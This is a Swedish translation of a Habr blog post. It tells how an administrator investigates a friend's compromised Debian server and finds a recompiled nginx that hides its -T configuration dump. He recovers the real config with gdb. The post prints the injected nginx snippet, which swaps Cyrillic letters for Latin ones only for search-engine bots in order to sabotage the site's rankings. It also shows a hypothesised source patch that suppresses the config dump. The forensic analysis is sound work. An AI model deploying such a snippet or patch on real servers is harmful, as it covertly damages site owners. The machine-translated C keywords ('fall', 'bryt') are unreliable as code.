En mycket otrevlig hÀndelse intrÀffade med en av mina bekanta. Men sÄ otrevlig som den var för Mikhail, sÄ underhÄllande blev den för mig.
Jag mÄste sÀga att min vÀn Àr helt okej. UNIX-anvÀndare: kan sjÀlv installera systemet, stÀlla in mysql, php och göra de enklaste instÀllningarna. nginx.
Han har ett tiotal hemsidor som handlar om byggverktyg.
En av dessa hemsidor, som handlar om motorsÄgar, sitter stadigt i toppen av sökmotorerna. Denna hemsida Àr en icke-kommersiell recension, men nÄgon tycker uppenbarligen att den Àr ett problem och har börjat attackera den. Ibland DDoS, ibland bruteforce, ibland skriver de olÀmpliga kommentarer och skickar klagomÄl till hostingtjÀnsten och till RKN.
Plötsligt blev allt tyst och denna tystnad visade sig inte vara nÄgot gott, eftersom hemsidan började försvinna gradvis frÄn toppositionerna i resultaten.

Detta var en inledning, nu till sjÀlva berÀttelsen frÄn administratören.
Tiden nÀrmade sig sÀnggÄende nÀr telefonen ringde: "San, kan du ta en titt pÄ min server? Jag tror att jag har blivit hackad, jag kan inte bevisa det, men jag har haft en kÀnsla av det i tre veckor nu. Kanske Àr det dags att jag behandlar min paranoia?"
Vi hade ett halvtimmes samtal som kort kan sammanfattas sÄ hÀr:
- jordmÄnen för en hackning var ganska bördig;
- hackaren skulle kunna fÄ superanvÀndarrÀttigheter;
- attacken (om den Àgde rum) var riktad just mot denna hemsida;
- problemomrÄden har ÄtgÀrdats och det behövs bara förstÄ om det verkligen har skett ett intrÄng;
- hackningen kunde inte pÄverka hemsidans kod eller databaser.
AngÄende den sista punkten.

Endast den vita IP:n frÄn fronten Àr synlig. Mellan backend och front finns det ingen kommunikation förutom http(s), anvÀndare/lösenord Àr olika, de har inte delat nycklar. PÄ de grÄ adresserna Àr alla portar förutom 80/443 stÀngda. De vita IP:n för backend Àr kÀnda endast av tvÄ anvÀndare som Mikhail helt litar pÄ.
PÄ fronten Àr Debian 9 och vid tidpunkten för samtalet Àr systemet isolerat frÄn vÀrlden med en extern brandvÀgg och avstÀngt.
"Okej, ge mig tillgÄng, jag bestÀmmer mig för att skjuta upp sömnen en timme. Jag ska titta med mina egna ögon."
HĂ€r och vidare:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
I jakten pÄ en möjlig hackning
startar jag servern, först i rescue-mode. Monterar diskar, blÀddrar igenom auth-loggar, history, systemloggar och sÄ vidare, kontrollerar jag i möjligaste mÄn skapelsedatum för filer, Àven om jag förstÄr att en riktig hackare skulle ha "stÀdat" efter sig, och Misha har redan trampat runt en del medan han sjÀlv letade.
Jag startar i normalt lÀge, utan att direkt förstÄ vad jag ska leta efter, jag studerar konfigurationerna. Först och frÀmst Àr jag intresserad av nginx eftersom det, i stort sett, inte finns nÄgot annat pÄ frontend.
Konfigurationerna Ă€r smĂ„, vĂ€lstrukturerade i ett tiotal filer, jag gĂ„r igenom dem helt enkelt catâen efter en. Det verkar vara rent, men man vet aldrig om jag missat nĂ„got include, jag gör en fullstĂ€ndig upprĂ€kning:
$ nginx -T
nginx: konfigurationsfilen /usr/local/etc/nginx/nginx.conf har korrekt syntax
nginx: konfigurationsfilen /usr/local/etc/nginx/nginx.conf testet lyckades
Jag förstod inte: "Var Àr upprÀkningen?"
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI-stöd aktiverat
konfigurationsargument: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Till frÄgan om upprÀkningen lÀggs det till en annan: "Varför sÄ gammal version av nginx?"
Dessutom anser systemet att versionen Àr mer aktuell:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all liten, kraftfull, skalbar webb/proxy server
Jag ringer:
â Misha, varför har du omkompilerat nginx?
â Sluta nu, jag vet till och med inte hur man gör det!
â Ok, tja, sov dĂ„âŠ
Nginx uppenbarligen omkompilerad och output frÄn upprÀkningen med "-T" döljs inte utan anledning. Ingen tvekan om ett intrÄng lÀngre, och detta kan bara accepteras, och (eftersom Misha ÀndÄ bytte server till en ny) betrakta problemet som löst.
Och verkligen, om nÄgon har fÄtt rÀttigheter rootdÄ Àr det meningsfullt att bara system reinstall, och att leta efter vad som har gÄtt fel Àr meningslöst, men den hÀr gÄngen segrade nyfikenheten över sömnen. Hur ska jag ta reda pÄ vad de ville dölja för oss?
Vi ska försöka spÄra:
$ strace nginx -T
Vi granskar, i spÄrningen saknas tydligt rader som
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Av ren nyfikenhet jÀmför vi outputen
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Jag tror att en del av koden /src/core/nginx.c
fall 't':
ngx_test_config = 1;
bryt;
fall 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
bryt;
har omvandlats till:
fall 't':
ngx_test_config = 1;
bryt;
fall 'T':
ngx_test_config = 1;
\/\/ngx_dump_config = 1;
bryt;
eller
fall 't':
ngx_test_config = 1;
bryt;
fall 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
bryt;
dÀrför visas inte listan för «-T».
Men hur kan vi se vÄr konfiguration?
Om min tanke Ă€r korrekt och problemet bara rör variabeln ngx_dump_config ska vi försöka stĂ€lla in den med hjĂ€lp av gdb, lyckligtvis finns nyckeln --with-cc-opt -g och vi hoppas att optimeringen -O2 inte kommer att skada. Med tanke pĂ„ att jag inte vet hur ngx_dump_config kan ha bearbetats i fall âTâ:, ska vi inte kalla pĂ„ detta block, utan sĂ€tta den anvĂ€nda fall âtâ:
Varför kan vi anvĂ€nda â-tâ pĂ„ samma sĂ€tt som â-Tâ?Behandlingen av blocket if(ngx_dump_config) sker inuti if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "konfigurationsfil %s testet Àr framgÄngsrikt",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# konfigurationsfil ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
SjĂ€lvklart, om koden har Ă€ndrats i denna del, och inte i fall âTâ:, sĂ„ passar inte min metod.
Test nginx.confEfter att ha löst problemet praktiskt har det konstaterats att det minimi konfiguration krÀvs för att skadlig kod ska fungera nginx av:
events {
}
http {
include \/etc\/nginx\/sites-enabled\/*;
}
Det kommer vi att anvÀnda för korthet i artikeln.
Vi startar felsökaren
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Steg för steg:
- sÀtter en brytpunkt i funktionen main()
- startar programmet
- Àndrar vÀrdet pÄ variabeln som bestÀmmer konfigurationsutskriften ngx_dump_config=1
- fortsÀtter/avslutar programmet
Som vi ser skiljer sig den verkliga konfigurationen frÄn vÄr, vi extraherar det parasitiska avsnittet:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
LÄt oss titta pÄ vad som hÀnder hÀr i ordning.
Definieras User-Agentâyâ yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Exkluderas tjÀnstesidor wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Och för dem som omfattas av bÄda ovanstÄende villkor
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
i texten html-sidan Ă€ndras âĐŸâ till âoâ och âаâ till âaâ:
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Precis sĂ„, det enda Ă€r att âаâ != âaâ liksom âĐŸâ != âoâ:

PĂ„ sĂ„ sĂ€tt fĂ„r sökmotorns robotar istĂ€llet för en normal 100%-ig kyrillisk text modifierad skrĂ€p blandat med latinska âaâ och âoâ. Jag kan inte spekulera i hur detta pĂ„verkar SEO, men tveksamt att en sĂ„dan bokstavsmix positivt skulle pĂ„verka placeringarna i resultatlistorna.
Vad ska man sÀga, killar med fantasi.
LĂ€nkar
KĂ€lla: habr.com
